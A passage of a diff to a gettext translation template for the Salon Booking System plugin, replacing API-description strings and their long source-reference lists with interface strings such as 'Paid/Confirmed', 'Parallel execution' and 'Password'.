build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:327, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:629, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:548, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:583, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1490, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:327, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:629, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:548, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:583\n-msgid \"The description for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:23\n+msgid \"Paid\u002FConfirmed\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:519, src\u002FSLB_API\u002FController\u002FServices_Controller.php:649, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:557, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:603, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:519, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:649, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:557, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:603, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:519, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:649, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:557, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:603, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:518, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:648, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:557, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:603, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:519, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:649, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:557, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:603, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:519, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:649, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:557, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:603\n-msgid \"The availabilities for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:158\n+msgid \"Parallel execution\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:523, src\u002FSLB_API\u002FController\u002FServices_Controller.php:653, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:561, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:607, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:523, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:653, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:561, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:607, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:523, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:653, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:561, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:522, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:652, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:561, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:523, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:653, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:561, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:523, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:653, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:561, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:607\n-msgid \"The availability item.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:164\n+msgid \"Parallels hours for booking\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:528, src\u002FSLB_API\u002FController\u002FServices_Controller.php:658, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:566, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:612, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:528, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:658, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:566, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:612, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:528, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:658, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:566, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:612, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:527, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:657, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:566, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:612, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:528, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:658, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:566, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:612, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:528, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:658, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:566, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:612\n-msgid \"The days.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:325\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:325\n+msgctxt \"part of: The time minimum breke is 30' with increase of 30' each\"\n+msgid \"each\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:532, src\u002FSLB_API\u002FController\u002FServices_Controller.php:662, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:570, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:616, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:532, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:662, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:570, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:616, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:532, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:662, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:570, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:616, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:531, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:661, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:570, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:616, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:532, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:662, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:570, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:616, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:532, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:662, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:570, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:616\n-msgid \"The sunday.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:324\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:324\n+msgctxt \"part of: The time minimum breke is 30' with increase of 30' each\"\n+msgid \"with increase of\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:537, src\u002FSLB_API\u002FController\u002FServices_Controller.php:667, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:575, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:621, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:537, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:667, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:575, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:621, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:537, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:667, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:575, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:621, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:536, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:666, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:575, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:621, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:537, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:667, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:575, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:621, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:537, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:667, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:575, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:621\n-msgid \"The monday.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:322\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:322\n+msgctxt \"part of:The time minimum breke is 30' with increase of 30' each\"\n+msgid \"The time minimum breke is\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:542, src\u002FSLB_API\u002FController\u002FServices_Controller.php:672, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:580, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:626, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:542, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:672, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:580, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:626, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:542, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:672, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:580, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:626, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:541, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:671, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:580, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:626, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:542, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:672, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:580, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:626, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:542, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:672, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:580, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:626\n-msgid \"The tuesday.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:309\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:309\n+msgid \"Password\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:547, src\u002FSLB_API\u002FController\u002FServices_Controller.php:677, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:585, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:631, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:547, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:677, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:585, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:631, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:547, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:677, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:585, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:631, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:546, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:676, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:585, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:631, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:547, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:677, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:585, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:631, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:547, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:677, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:585, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:631\n-msgid \"The wednesday.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:73\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:73\n+msgid \"password can't be empty\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:552, src\u002FSLB_API\u002FController\u002FServices_Controller.php:682, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:590, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:636, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:552, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:682, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:590, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:636, 